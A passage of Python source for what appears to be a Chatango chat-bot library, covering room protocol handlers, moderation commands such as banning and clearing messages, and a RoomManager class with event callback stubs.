  977.     for user in mods - premods: #modded
  978.       self._mods.add(user)
  979.       self._callEvent("onModAdd", user)
  980.     for user in premods - mods: #demodded
  981.       self._mods.remove(user)
  982.       self._callEvent("onModRemove", user)
  983.     self._callEvent("onModChange")
  984.  
  985.   def _rcmd_b(self, args):
  986.     mtime = float(args[0])
  987.     puid = args[3]
  988.     ip = args[6]
  989.     name = args[1]
  990.     rawmsg = ":".join(args[9:])
  991.     msg, n, f = _clean_message(rawmsg)
  992.     if name == "":
  993.       nameColor = None
  994.       name = "#" + args[2]
  995.       if name == "#":
  996.         name = "!anon" + _getAnonId(n, puid)
  997.     else:
  998.       if n: nameColor = _parseNameColor(n)
  999.       else: nameColor = None
  1000.     i = args[5]
  1001.     unid = args[4]
  1002.     user = User(name)
  1003.     #Create an anonymous message and queue it because msgid is unknown.
  1004.     if f: fontColor, fontFace, fontSize = _parseFont(f)
  1005.     else: fontColor, fontFace, fontSize = None, None, None
  1006.     msg = Message(
  1007.       time = mtime,
  1008.       user = user,
  1009.       body = msg,
  1010.       raw = rawmsg,
  1011.       ip = ip,
  1012.       nameColor = nameColor,
  1013.       fontColor = fontColor,
  1014.       fontFace = fontFace,
  1015.       fontSize = fontSize,
  1016.       unid = unid,
  1017.       puid = puid,
  1018.       room = self
  1019.     )
  1020.     self._mqueue[i] = msg
  1021.  
  1022.   def _rcmd_u(self, args):
  1023.     temp = Struct(**self._mqueue)
  1024.     if hasattr(temp, args[0]):
  1025.       msg = getattr(temp, args[0])
  1026.       if msg.user != self.user:
  1027.         msg.user._fontColor = msg.fontColor
  1028.         msg.user._fontFace = msg.fontFace
  1029.         msg.user._fontSize = msg.fontSize
  1030.         msg.user._nameColor = msg.nameColor
  1031.       del self._mqueue[args[0]]
  1032.       msg.attach(self, args[1])
  1033.       self._addHistory(msg)
  1034.       # pdb.set_trace()
  1035.       self._callEvent("onMessage", msg.user, msg)
  1036.  
  1037.   def _rcmd_i(self, args):
  1038.     mtime = float(args[0])
  1039.     puid = args[3]
  1040.     ip = args[6]
  1041.     name = args[1]
  1042.     rawmsg = ":".join(args[9:])
  1043.     msg, n, f = _clean_message(rawmsg)
  1044.     if name == "":
  1045.       nameColor = None
  1046.       name = "#" + args[2]
  1047.       if name == "#":
  1048.         name = "!anon" + _getAnonId(n, puid)
  1049.     else:
  1050.       if n: nameColor = _parseNameColor(n)
  1051.       else: nameColor = None
  1052.     i = args[5]
  1053.     unid = args[4]
  1054.     user = User(name)
  1055.     #Create an anonymous message and queue it because msgid is unknown.
  1056.     if f: fontColor, fontFace, fontSize = _parseFont(f)
  1057.     else: fontColor, fontFace, fontSize = None, None, None
  1058.     msg = Message(
  1059.       time = mtime,
  1060.       user = user,
  1061.       body = msg,
  1062.       raw = rawmsg,
  1063.       ip = ip,
  1064.       nameColor = nameColor,
  1065.       fontColor = fontColor,
  1066.       fontFace = fontFace,
  1067.       fontSize = fontSize,
  1068.       unid = unid,
  1069.       puid = puid,
  1070.       room = self
  1071.     )
  1072.     self._i_log.append(msg)
  1073.  
  1074.   def _rcmd_g_participants(self, args):
  1075.     args = ":".join(args)
  1076.     args = args.split(";")
  1077.     for data in args:
  1078.       data = data.split(":")
  1079.       name = data[3].lower()
  1080.       if name == "none": continue
  1081.       user = User(
  1082.         name = name,
  1083.         room = self
  1084.       )
  1085.       user.addSessionId(self, data[0])
  1086.       self._userlist.append(user)
  1087.  
  1088.   def _rcmd_participant(self, args):
  1089.     name = args[3].lower()
  1090.     if name == "none": return
  1091.     user = User(name)
  1092.     puid = args[2]
  1093.  
  1094.     if args[0] == "0": #leave
  1095.       user.removeSessionId(self, args[1])
  1096.       self._userlist.remove(user)
  1097.       if user not in self._userlist or not self.mgr._userlistEventUnique:
  1098.         self._callEvent("onLeave", user, puid)
  1099.     else: #join
  1100.       user.addSessionId(self, args[1])
  1101.       if user not in self._userlist: doEvent = True
  1102.       else: doEvent = False
  1103.       self._userlist.append(user)
  1104.       if doEvent or not self.mgr._userlistEventUnique:
  1105.         self._callEvent("onJoin", user, puid)
  1106.  
  1107.   def _rcmd_show_fw(self, args):
  1108.     self._callEvent("onFloodWarning")
  1109.  
  1110.   def _rcmd_show_tb(self, args):
  1111.     self._callEvent("onFloodBan")
  1112.  
  1113.   def _rcmd_tb(self, args):
  1114.     self._callEvent("onFloodBanRepeat")
  1115.  
  1116.   def _rcmd_delete(self, args):
  1117.     msg = self._msgs.get(args[0])
  1118.     if msg:
  1119.       if msg in self._history:
  1120.         self._history.remove(msg)
  1121.         self._callEvent("onMessageDelete", msg.user, msg)
  1122.         msg.detach()
  1123.  
  1124.   def _rcmd_deleteall(self, args):
  1125.     for msgid in args:
  1126.       self._rcmd_delete([msgid])
  1127.  
  1128.   def _rcmd_n(self, args):
  1129.     self._userCount = int(args[0], 16)
  1130.     self._callEvent("onUserCountChange")
  1131.  
  1132.   def _rcmd_blocklist(self, args):
  1133.     self._banlist = dict()
  1134.     sections = ":".join(args).split(";")
  1135.     for section in sections:
  1136.       params = section.split(":")
  1137.       if len(params) != 5: continue
  1138.       if params[2] == "": continue
  1139.       user = User(params[2])
  1140.       self._banlist[user] = {
  1141.         "unid":params[0],
  1142.         "ip":params[1],
  1143.         "target":user,
  1144.         "time":float(params[3]),
  1145.         "src":User(params[4])
  1146.       }
  1147.     self._callEvent("onBanlistUpdate")
  1148.  
  1149.   def _rcmd_unblocklist(self, args):
  1150.     self._unbanlist = dict()
  1151.     sections = ":".join(args).split(";")
  1152.     for section in sections:
  1153.       params = section.split(":")
  1154.       if len(params) != 5: continue
  1155.       if params[2] == "": continue
  1156.       user = User(params[2])
  1157.       self._unbanlist[user] = {
  1158.         "unid":params[0],
  1159.         "ip":params[1],
  1160.         "target":user,
  1161.         "time":float(params[3]),
  1162.         "src":User(params[4])
  1163.       }
  1164.     self._callEvent("onUnBanlistUpdate")
  1165.  
  1166.   def _rcmd_blocked(self, args):
  1167.     if args[2] == "": return
  1168.     target = User(args[2])
  1169.     user = User(args[3])
  1170.     self._banlist[target] = {"unid":args[0], "ip":args[1], "target":target, "time":float(args[4]), "src":user}
  1171.     self._callEvent("onBan", user, target)
  1172.  
  1173.   def _rcmd_unblocked(self, args):
  1174.    try:
  1175.       if args[2] == "": return
  1176.       target = User(args[2])
  1177.       user=User(args[3])
  1178.       del self._banlist[target]
  1179.       self._unbanlist[user] = {"unid":args[0], "ip":args[1], "target":target, "time":float(args[4]), "src":user}
  1180.       self._callEvent("onUnban", user, target)
  1181.    except: return self._callEvent("onUnban","?","?")#this allows me to edit the exception message in my bot class when multiple instances are unbanned from the same IP and UNID
  1182.    #return self._callEvent("onUnban",user, target) #this will call the message+unid when you unban multiple users
  1183.  
  1184.   ####
  1185.   # Commands
  1186.   ####
  1187.   def login(self, NAME, PASS = None):
  1188.     """login as a user or set a name in room"""
  1189.     if PASS:
  1190.       self._sendCommand("blogin", NAME, PASS)
  1191.     else:
  1192.       self._sendCommand("blogin", NAME)
  1193.     self._currentname = NAME
  1194.  
  1195.   def logout(self):
  1196.     """logout of user in a room"""
  1197.     self._sendCommand("blogout")
  1198.     self._currentname = self._botname
  1199.  
  1200.   def ping(self):
  1201.     """Send a ping."""
  1202.     self._sendCommand("")
  1203.     self._callEvent("onPing")
  1204.  
  1205.   def rawMessage(self, msg):
  1206.     """
  1207.    Send a message without n and f tags.
  1208.    @type msg: str
  1209.    @param msg: message
  1210.    """
  1211.     if not self._silent:
  1212.       self._sendCommand("bmsg:tl2r", msg)
  1213.  
  1214.   def message(self, msg, html = False):
  1215.     """
  1216.    Send a message. (Use "\n" for new line)
  1217.    @type msg: str
  1218.    @param msg: message
  1219.    """
  1220.     if msg==None:
  1221.       return
  1222.     msg = msg.rstrip()
  1223.     if not html:
  1224.       msg = msg.replace("<", "&lt;").replace(">", "&gt;")
  1225.     if len(msg) > self.mgr._maxLength:
  1226.       if self.mgr._tooBigMessage == BigMessage_Cut:
  1227.         self.message(msg[:self.mgr._maxLength], html = html)
  1228.       elif self.mgr._tooBigMessage == BigMessage_Multiple:
  1229.         while len(msg) > 0:
  1230.           sect = msg[:self.mgr._maxLength]
  1231.           msg = msg[self.mgr._maxLength:]
  1232.           self.message(sect, html = html)
  1233.       return
  1234.     msg = "<n" + self.user.nameColor + "/>" + msg
  1235.     if self._currentname != None and not self._currentname.startswith("!anon"):
  1236.       font_properties = "<f x%0.2i%s=\"%s\">" %(self.user.fontSize, self.user.fontColor, self.user.fontFace)
  1237.       if "\n" in msg:
  1238.         msg.replace("\n", "</f></p><p>%s" %(font_properties))
  1239.       msg = font_properties + msg
  1240.     msg.replace("~","&#126;")
  1241.     self.rawMessage(msg)
  1242.  
  1243.   def setBgMode(self, mode):
  1244.     """turn on/off bg"""
  1245.     self._sendCommand("msgbg", str(mode))
  1246.  
  1247.   def setRecordingMode(self, mode):
  1248.     """turn on/off rcecording"""
  1249.     self._sendCommand("msgmedia", str(mode))
  1250.     #self._sendCommand("msgmedia","shitstring")
  1251.  
  1252.   def addMod(self, user):
  1253.     """
  1254.    Add a moderator.
  1255.    @type user: User
  1256.    @param user: User to mod.
  1257.    """
  1258.     if self.getLevel(User(self.currentname)) == 2:
  1259.       self._sendCommand("addmod", user.name)
  1260.  
  1261.   def removeMod(self, user):
  1262.     """
  1263.    Remove a moderator.
  1264.    @type user: User
  1265.    @param user: User to demod.
  1266.    """
  1267.     if self.getLevel(User(self.currentname)) == 2:
  1268.       self._sendCommand("removemod", user.name)
  1269.  
  1270.   def flag(self, message):
  1271.     """
  1272.    Flag a message.
  1273.    @type message: Message
  1274.    @param message: message to flag
  1275.    """
  1276.     self._sendCommand("g_flag", message.msgid)
  1277.  
  1278.   def flagUser(self, user):
  1279.     """
  1280.    Flag a user.
  1281.    @type user: User
  1282.    @param user: user to flag
  1283.    @rtype: bool
  1284.    @return: whether a message to flag was found
  1285.    """
  1286.     msg = self.getLastMessage(user)
  1287.     if msg:
  1288.       self.flag(msg)
  1289.       return True
  1290.     return False
  1291.  
  1292.   def delete(self, user):
  1293.     """
  1294.    Delete a message. (Moderator only)
  1295.    @type message: Message
  1296.    @param message: message to delete
  1297.    """
  1298.     if self.getLevel(self.user) > 0:
  1299.       msg = self.getLastMessage(user)
  1300.       if msg:
  1301.         self._sendCommand("delmsg", msg.msgid)
  1302.       return True
  1303.     return False
  1304.  
  1305.   def rawClearUser(self, unid, ip, user):
  1306.     self._sendCommand("delallmsg", unid, ip, user)
  1307.   def clearUser(self, user):
  1308.     """
  1309.    Clear all of a user's messages. (Moderator only)
  1310.    @type user: User
  1311.    @param user: user to delete messages of
  1312.    @rtype: bool
  1313.    @return: whether a message to delete was found
  1314.    """
  1315.     if self.getLevel(self.user) > 0:
  1316.       msg = self.getLastMessage(user)
  1317.       if msg:
  1318.         if msg.user.name[0] in ["!","#"]:self.rawClearUser(msg.unid, msg.ip,"")
  1319.         else:self.rawClearUser(msg.unid,msg.ip,msg.user.name)
  1320.         return True
  1321.     return False
  1322.  
  1323.   def clearall(self):
  1324.     """Clear all messages. (Owner only)"""
  1325.     if self.getLevel(self.user) == 2:
  1326.       self._sendCommand("clearall")
  1327.  
  1328.   def rawBan(self, name, ip, unid):
  1329.     """
  1330.    Execute the block command using specified arguments.
  1331.    (For advanced usage)
  1332.    @type name: str
  1333.    @param name: name
  1334.    @type ip: str
  1335.    @param ip: ip address
  1336.    @type unid: str
  1337.    @param unid: unid
  1338.    """
  1339.     self._sendCommand("block", unid, ip, name)
  1340.  
  1341.   def ban(self, msg):
  1342.     """
  1343.    Ban a message's sender. (Moderator only)
  1344.    @type message: Message
  1345.    @param message: message to ban sender of
  1346.    """
  1347.     if self.getLevel(self.user) > 0:
  1348.       self.rawBan(msg.user.name, msg.ip, msg.unid)
  1349.  
  1350.   def banUser(self, user):
  1351.     """
  1352.    Ban a user. (Moderator only)
  1353.    @type user: User
  1354.    @param user: user to ban
  1355.    @rtype: bool
  1356.    @return: whether a message to ban the user was found
  1357.    """
  1358.     msg = self.getLastMessage(user)
  1359.     if msg:
  1360.       self.ban(msg)
  1361.       return True
  1362.     return False
  1363.  
  1364.   def requestBanlist(self):
  1365.     """Request an updated banlist."""
  1366.     self._sendCommand("blocklist", "block", "", "next", "500")
  1367.  
  1368.   def requestUnBanlist(self):
  1369.     """Request an updated banlist."""
  1370.     self._sendCommand("blocklist", "unblock", "", "next", "500")
  1371.  
  1372.   def rawUnban(self, name, ip, unid):
  1373.     """
  1374.    Execute the unblock command using specified arguments.
  1375.    (For advanced usage)
  1376.    @type name: str
  1377.    @param name: name
  1378.    @type ip: str
  1379.    @param ip: ip address
  1380.    @type unid: str
  1381.    @param unid: unid
  1382.    """
  1383.     self._sendCommand("removeblock", unid, ip, name)
  1384.  
  1385.   def unban(self, user):
  1386.     """
  1387.    Unban a user. (Moderator only)
  1388.    @type user: User
  1389.    @param user: user to unban
  1390.    @rtype: bool
  1391.    @return: whether it succeeded
  1392.    """
  1393.     rec = self._getBanRecord(user)
  1394.     if rec:
  1395.       self.rawUnban(rec["target"].name, rec["ip"], rec["unid"])
  1396.       return True
  1397.     else:
  1398.       return False
  1399.  
  1400.   ####
  1401.   # Util
  1402.   ####
  1403.   def _getBanRecord(self, user):
  1404.     if user in self._banlist:
  1405.       return self._banlist[user]
  1406.     return None
  1407.  
  1408.   def _callEvent(self, evt, *args, **kw):
  1409.     getattr(self.mgr, evt)(self, *args, **kw)
  1410.     self.mgr.onEventCalled(self, evt, *args, **kw)
  1411.  
  1412.   def _write(self, data):
  1413.     if self._wlock:
  1414.       self._wlockbuf += data
  1415.     else:
  1416.       self.mgr._write(self, data)
  1417.  
  1418.   def _setWriteLock(self, lock):
  1419.     self._wlock = lock
  1420.     if self._wlock == False:
  1421.       self._write(self._wlockbuf)
  1422.       self._wlockbuf = b""
  1423.  
  1424.   def _sendCommand(self, *args):
  1425.     """
  1426.    Send a command.
  1427.    @type args: [str, str, ...]
  1428.    @param args: command and list of arguments
  1429.    """
  1430.     if self._firstCommand:
  1431.       terminator = b"\x00"
  1432.       self._firstCommand = False
  1433.     else:
  1434.       terminator = b"\r\n\x00"
  1435.     self._write(":".join(args).encode() + terminator)
  1436.  
  1437.   def getLevel(self, user):
  1438.     """get the level of user in a room"""
  1439.     if user == self._owner: return 2
  1440.     if user.name in self.modnames: return 1
  1441.     return 0
  1442.  
  1443.   def getLastMessage(self, user = None):
  1444.     """get last message said by user in a room"""
  1445.     if user:
  1446.       try:
  1447.         i = 1
  1448.         while True:
  1449.           msg = self._history[-i]
  1450.           if msg.user == user:
  1451.             return msg
  1452.           i += 1
  1453.       except IndexError:
  1454.         return None
  1455.     else:
  1456.       try:
  1457.         return self._history[-1]
  1458.       except IndexError:
  1459.         return None
  1460.     return None
  1461.  
  1462.   def findUser(self, name):
  1463.     """check if user is in the room
  1464.    
  1465.    return User(name) if name in room else None"""
  1466.     name = name.lower()
  1467.     ul = self._getUserlist()
  1468.     udi = dict(zip([u.name for u in ul], ul))
  1469.     cname = None
  1470.     for n in udi.keys():
  1471.       if name in n:
  1472.         if cname: return None #ambiguous!!
  1473.         cname = n
  1474.     if cname: return udi[cname]
  1475.     else: return None
  1476.  
  1477.   ####
  1478.   # History
  1479.   ####
  1480.   def _addHistory(self, msg):
  1481.     """
  1482.    Add a message to history.
  1483.    @type msg: Message
  1484.    @param msg: message
  1485.    """
  1486.     self._history.append(msg)
  1487.     if len(self._history) > self.mgr._maxHistoryLength:
  1488.       rest, self._history = self._history[:-self.mgr._maxHistoryLength], self._history[-self.mgr._maxHistoryLength:]
  1489.       for msg in rest: msg.detach()
  1490.  
  1491. ################################################################
  1492. # RoomManager class
  1493. ################################################################
  1494. class RoomManager:
  1495.   """Class that manages multiple connections."""
  1496.   ####
  1497.   # Config
  1498.   ####
  1499.   _Room = Room
  1500.   _PM = PM
  1501.   _ANON_PM = ANON_PM
  1502.   _anonPMHost = "b1.chatango.com"
  1503.   _PMHost = "c1.chatango.com"
  1504.   _PMPort = 5222
  1505.   _TimerResolution = 0.2 #at least x times per second
  1506.   _pingDelay = 20
  1507.   _userlistMode = Userlist_Recent
  1508.   _userlistUnique = True
  1509.   _userlistMemory = 50
  1510.   _userlistEventUnique = False
  1511.   _tooBigMessage = BigMessage_Multiple
  1512.   _maxLength = 1800
  1513.   _maxHistoryLength = 150
  1514.  
  1515.   ####
  1516.   # Init
  1517.   ####
  1518.   def __init__(self, name = None, password = None, pm = True):
  1519.     self._name = name
  1520.     self._password = password
  1521.     self._running = False
  1522.     self._tasks = set()
  1523.     self._rooms = dict()
  1524.     self._rooms_queue = queue.Queue()
  1525.     self._rooms_lock = threading.Lock()
  1526.     if pm:
  1527.       if self._password:
  1528.         self._pm = self._PM(mgr = self)
  1529.       else:
  1530.         self._pm = self._ANON_PM(mgr = self)
  1531.     else:
  1532.       self._pm = None
  1533.  
  1534.   def _joinThread(self):
  1535.     while True:
  1536.       room = self._rooms_queue.get()
  1537.       with self._rooms_lock:
  1538.         con = self._Room(room, mgr = self)
  1539.         self._rooms[room] = con
  1540.  
  1541.   ####
  1542.   # Join/leave
  1543.   ####
  1544.   def joinRoom(self, room):
  1545.     """
  1546.    Join a room or return None if already joined.
  1547.    @type room: str
  1548.    @param room: room to join
  1549.    @rtype: Room or None
  1550.    @return: True or nothing
  1551.    """
  1552.     room = room.lower()
  1553.     if room not in self._rooms:
  1554.       self._rooms_queue.put(room)
  1555.       return True
  1556.     else:
  1557.       return None
  1558.  
  1559.   def leaveRoom(self, room):
  1560.     """
  1561.    Leave a room.
  1562.    @type room: str
  1563.    @param room: room to leave
  1564.    """
  1565.     room = room.lower()
  1566.     if room in self._rooms:
  1567.       with self._rooms_lock:
  1568.         con = self._rooms[room]
  1569.         con.disconnect()
  1570.  
  1571.   def getRoom(self, room):
  1572.     """
  1573.    Get room with a name, or None if not connected to this room.
  1574.    @type room: str
  1575.    @param room: room
  1576.    @rtype: Room
  1577.    @return: the room
  1578.    """
  1579.     room = room.lower()
  1580.     if room in self._rooms:
  1581.       return self._rooms[room]
  1582.     else:
  1583.       return None
  1584.  
  1585.  
  1586.   ####
  1587.   # Properties
  1588.   ####
  1589.   def _getUser(self): return User(self._name)
  1590.   def _getName(self): return self._name
  1591.   def _getPassword(self): return self._password
  1592.   def _getRooms(self): return set(self._rooms.values())
  1593.   def _getRoomNames(self): return set(self._rooms.keys())
  1594.   def _getPM(self): return self._pm
  1595.  
  1596.   user = property(_getUser)
  1597.   name = property(_getName)
  1598.   password = property(_getPassword)
  1599.   rooms = property(_getRooms)
  1600.   roomnames = property(_getRoomNames)
  1601.   pm = property(_getPM)
  1602.   sock_check_null = False
  1603.   ####
  1604.   # Virtual methods
  1605.   ####
  1606.   def onInit(self):
  1607.     """Called on init."""
  1608.     pass
  1609.  
  1610.   def safePrint(self, text):
  1611.     """Use this to safely print text with unicode"""
  1612.     while True:
  1613.       try:
  1614.         print(text)
  1615.         break
  1616.       except UnicodeEncodeError as ex:
  1617.         text = (text[0:ex.start]+'(unicode)'+text[ex.end:])
  1618.  
  1619.   def onConnect(self, room):
  1620.     """
  1621.    Called when connected to the room.
  1622.    
  1623.    @type room: Room
  1624.    @param room: room where the event occured
  1625.    """
  1626.     pass
  1627.  
  1628.   def onReconnect(self, room):
  1629.     """
  1630.    Called when reconnected to the room.
  1631.    
  1632.    @type room: Room
  1633.    @param room: room where the event occured
  1634.    """
  1635.     pass
  1636.  
  1637.   def onConnectFail(self, room):
  1638.     """
  1639.    Called when the connection failed.
  1640.    
  1641.    @type room: Room
  1642.    @param room: room where the event occured
  1643.    """
  1644.     pass
  1645.  
  1646.   def onDisconnect(self, room):
  1647.     """
  1648.    Called when the client gets disconnected.
  1649.    
  1650.    @type room: Room
  1651.    @param room: room where the event occured
  1652.    """
  1653.     pass
  1654.  
  1655.   def onLoginFail(self, room):
  1656.     """
  1657.    Called on login failure, disconnects after.
  1658.    
  1659.    @type room: Room
  1660.    @param room: room where the event occured
  1661.    """
  1662.     pass
  1663.  
  1664.   def onFloodBan(self, room):
  1665.     """
  1666.    Called when either flood banned or flagged.
  1667.    
  1668.    @type room: Room
  1669.    @param room: room where the event occured
  1670.    """
  1671.     pass
  1672.  
  1673.   def onFloodBanRepeat(self, room):
  1674.     """
  1675.    Called when trying to send something when floodbanned.
  1676.  
  1677.    @type room: Room
  1678.    @param room: room where the event occured
  1679.    """
  1680.     pass
  1681.  
  1682.   def onFloodWarning(self, room):
  1683.     """
  1684.    Called when an overflow warning gets received.
  1685.  
  1686.    @type room: Room
  1687.    @param room: room where the event occured
  1688.    """
  1689.     pass
  1690.  
  1691.   def onMessageDelete(self, room, user, message):
  1692.     """
  1693.    Called when a message gets deleted.
  1694.  
  1695.    @type room: Room
  1696.    @param room: room where the event occured
  1697.    @type user: User
  1698.    @param user: owner of deleted message
  1699.    @type message: Message
  1700.    @param message: message that got deleted
  1701.    """
  1702.     pass
  1703.  
  1704.   def onModChange(self, room):
  1705.     """
  1706.    Called when the moderator list changes.
  1707.  
  1708.    @type room: Room
  1709.    @param room: room where the event occured
  1710.    """
  1711.     pass
  1712.  
  1713.   def onModAdd(self, room, user):
  1714.     """
  1715.    Called when a moderator gets added.
  1716.  
  1717.    @type room: Room
  1718.    @param room: room where the event occured
  1719.    """
  1720.     pass
  1721.  
  1722.   def onModRemove(self, room, user):
  1723.     """
  1724.    Called when a moderator gets removed.
  1725.  
  1726.    @type room: Room
  1727.    @param room: room where the event occured
  1728.    """
  1729.     pass
  1730.  
  1731.   def onMessage(self, room, user, message):
  1732.     """
  1733.    Called when a message gets received.
  1734.  
  1735.    @type room: Room
  1736.    @param room: room where the event occured
  1737.    @type user: User
  1738.    @param user: owner of message
  1739.    @type message: Message
  1740.    @param message: received message
  1741.    """
  1742.     pass
  1743.  
  1744.   def onHistoryMessage(self, room, user, message):
  1745.     """
  1746.    Called when a message gets received from history.
  1747.  
  1748.    @type room: Room
  1749.    @param room: room where the event occured
  1750.    @type user: User
  1751.    @param user: owner of message
  1752.    @type message: Message
  1753.    @param message: the message that got added
  1754.    """
  1755.     pass
  1756.  
  1757.   def onJoin(self, room, user, puid):
  1758.     """
  1759.    Called when a user joins. Anonymous users get ignored here.
  1760.  
  1761.    @type room: Room
  1762.    @param room: room where the event occured
  1763.    @type user: User
  1764.    @param user: the user that has joined
  1765.    @type puid: str
  1766.    @param puid: the personal unique id for the user
  1767.    """
  1768.     pass
  1769.  
  1770.   def onLeave(self, room, user, puid):
  1771.     """
  1772.    Called when a user leaves. Anonymous users get ignored here.
  1773.  
  1774.    @type room: Room
  1775.    @param room: room where the event occured
  1776.    @type user: User
  1777.    @param user: the user that has left
  1778.    @type puid: str
  1779.    @param puid: the personal unique id for the user
  1780.    """
  1781.     pass
  1782.  
  1783.   def onRaw(self, room, raw):
  1784.     """
  1785.    Called before any command parsing occurs.
  1786.  
  1787.    @type room: Room
  1788.    @param room: room where the event occured
  1789.    @type raw: str
  1790.    @param raw: raw command data
  1791.    """
  1792.     pass
  1793.  
  1794.   def onPing(self, room):
  1795.     """
  1796.    Called when a ping gets sent.
  1797.  
  1798.    @type room: Room
  1799.    @param room: room where the event occured
  1800.    """
  1801.     pass
  1802.  
  1803.   def onUserCountChange(self, room):
  1804.     """
  1805.    Called when the user count changes.
  1806.  
  1807.    @type room: Room
  1808.    @param room: room where the event occured
  1809.    """
  1810.     pass
  1811.  
  1812.   def onBan(self, room, user, target):
  1813.     """
  1814.    Called when a user gets banned.
  1815.  
  1816.    @type room: Room
  1817.    @param room: room where the event occured
  1818.    @type user: User
  1819.    @param user: user that banned someone
  1820.    @type target: User
  1821.    @param target: user that got banned
  1822.    """
  1823.     pass
  1824.  
  1825.   def onUnban(self, room, user, target):
  1826.     """
  1827.    Called when a user gets unbanned.
  1828.  
  1829.    @type room: Room
  1830.    @param room: room where the event occured
  1831.    @type user: User
  1832.    @param user: user that unbanned someone
  1833.    @type target: User
  1834.    @param target: user that got unbanned
  1835.    """
  1836.     pass
  1837.  
  1838.   def onBanlistUpdate(self, room):
  1839.     """
  1840.    Called when a banlist gets updated.
  1841.  
  1842.    @type room: Room
  1843.    @param room: room where the event occured
  1844.    """
  1845.     pass
  1846.  
  1847.   def onUnBanlistUpdate(self, room):
  1848.     """
  1849.    Called when a unbanlist gets updated.
  1850.  
  1851.    @type room: Room
  1852.    @param room: room where the event occured
  1853.    """
  1854.     pass
  1855.  
  1856.   def onPMConnect(self, pm):
  1857.     """
  1858.    Called when connected to the pm
  1859.    
  1860.    @type pm: PM
  1861.    @param pm: the pm
  1862.    """
  1863.     pass
  1864.  
  1865.   def onAnonPMDisconnect(self, pm, user):
  1866.     """
  1867.    Called when disconnected from the pm
  1868.    
  1869.    @type pm: PM
  1870.    @param pm: the pm
  1871.    """
  1872.     pass
  1873.  
  1874.   def onPMDisconnect(self, pm):
  1875.     """
  1876.    Called when disconnected from the pm
  1877.    
  1878.    @type pm: PM
  1879.    @param pm: the pm
  1880.    """
  1881.     pass
  1882.  
  1883.   def onPMPing(self, pm):
  1884.     """
  1885.    Called when sending a ping to the pm
  1886.    
  1887.    @type pm: PM
  1888.    @param pm: the pm
  1889.    """
  1890.     pass
  1891.  
  1892.   def onPMMessage(self, pm, user, body):
  1893.     """
  1894.    Called when a message is received
  1895.    
  1896.    @type pm: PM
  1897.    @param pm: the pm
  1898.    @type user: User
  1899.    @param user: owner of message
  1900.    @type message: Message
  1901.    @param message: received message
  1902.    """
  1903.     pass
  1904.  
  1905.   def onPMOfflineMessage(self, pm, user, body):
  1906.     """
  1907.    Called when connected if a message is received while offline
  1908.    
  1909.    @type pm: PM
  1910.    @param pm: the pm
  1911.    @type user: User
  1912.    @param user: owner of message
  1913.    @type message: Message
  1914.    @param message: received message
  1915.    """
  1916.     pass
  1917.  
  1918.   def onPMContactlistReceive(self, pm):
  1919.     """
  1920.    Called when the contact list is received
  1921.    
  1922.    @type pm: PM
  1923.    @param pm: the pm
  1924.    """
  1925.     pass
  1926.  
  1927.   def onPMBlocklistReceive(self, pm):
  1928.     """
  1929.    Called when the block list is received
  1930.    
  1931.    @type pm: PM
  1932.    @param pm: the pm
  1933.    """
  1934.     pass
  1935.  
  1936.   def onPMContactAdd(self, pm, user):
  1937.     """
  1938.    Called when the contact added message is received
  1939.    
  1940.    @type pm: PM
  1941.    @param pm: the pm
  1942.    @type user: User
  1943.    @param user: the user that gotten added
  1944.    """
  1945.     pass
  1946.  
  1947.   def onPMContactRemove(self, pm, user):
  1948.     """
  1949.    Called when the contact remove message is received
  1950.    
  1951.    @type pm: PM
  1952.    @param pm: the pm
  1953.    @type user: User
  1954.    @param user: the user that gotten remove
  1955.    """
  1956.     pass
  1957.  
  1958.   def onPMBlock(self, pm, user):
  1959.     """
  1960.    Called when successfully block a user
  1961.    
  1962.    @type pm: PM
  1963.    @param pm: the pm
  1964.    @type user: User
  1965.    @param user: the user that gotten block
  1966.    """
  1967.     pass
  1968.  
  1969.   def onPMUnblock(self, pm, user):
  1970.     """
  1971.    Called when successfully unblock a user
  1972.    
  1973.    @type pm: PM
  1974.    @param pm: the pm
  1975.    @type user: User
  1976.    @param user: the user that gotten unblock
  1977.    """
  1978.     pass
  1979.  
  1980.   def onPMContactOnline(self, pm, user):
  1981.     """
  1982.    Called when a user from the contact come online
  1983.    
  1984.    @type pm: PM
  1985.    @param pm: the pm
  1986.    @type user: User
  1987.    @param user: the user that came online
  1988.    """
  1989.     pass
  1990.  
  1991.   def onPMContactOffline(self, pm, user):
  1992.     """
  1993.    Called when a user from the contact go offline
  1994.    
  1995.    @type pm: PM
  1996.    @param pm: the pm
  1997.    @type user: User
  1998.    @param user: the user that went offline
  1999.    """
  2000.     pass
  2001.  
  2002.   def onEventCalled(self, room, evt, *args, **kw):
  2003.     """
  2004.    Called on every room-based event.
  2005.  
  2006.    @type room: Room
  2007.    @param room: room where the event occured
  2008.    @type evt: str
  2009.    @param evt: the event
  2010.    """
  2011.     pass
  2012.  
  2013.   ####
  2014.   # Deferring
  2015.   ####
  2016.   def deferToThread(self, callback, func, *args, **kw):
  2017.     """
  2018.    Defer a function to a thread and callback the return value.
  2019.  
  2020.    @type callback: function
  2021.    @param callback: function to call on completion
  2022.    @type cbargs: tuple or list
  2023.    @param cbargs: arguments to get supplied to the callback
  2024.    @type func: function
  2025.    @param func: function to call
  2026.    """
  2027.     def f(func, callback, *args, **kw):
  2028.       ret = func(*args, **kw)
  2029.       self.setTimeout(0, callback, ret)
  2030.     threading._start_new_thread(f, (func, callback) + args, kw)
  2031.  
  2032.   ####
  2033.   # Scheduling
  2034.   ####
  2035.   class _Task:
  2036.     def cancel(self):
  2037.       """Sugar for removeTask."""
  2038.       self.mgr.removeTask(self)
  2039.  
  2040.   def _tick(self):
  2041.     now = time.time()
  2042.     for task in set(self._tasks):
  2043.       if task.target <= now:
  2044.         task.func(*task.args, **task.kw)
  2045.         if task.isInterval:
  2046.           task.target = now + task.timeout
  2047.         else:
  2048.           self._tasks.remove(task)
  2049.  
  2050.   def setTimeout(self, timeout, func, *args, **kw):
  2051.     """
  2052.    Call a function after at least timeout seconds with specified arguments.
  2053.    @type timeout: int
  2054.    @param timeout: timeout
  2055.    @type func: function
  2056.    @param func: function to call
  2057.    @rtype: _Task
  2058.    @return: object representing the task
  2059.    """
  2060.     task = self._Task()
  2061.     task.mgr = self
  2062.     task.target = time.time() + timeout
  2063.     task.timeout = timeout
  2064.     task.func = func
  2065.     task.isInterval = False
  2066.     task.args = args
  2067.     task.kw = kw
  2068.     self._tasks.add(task)
  2069.     return task
  2070.  
  2071.   def setInterval(self, timeout, func, *args, **kw):
  2072.     """
  2073.    Call a function at least every timeout seconds with specified arguments.
  2074.    @type timeout: int
  2075.    @param timeout: timeout
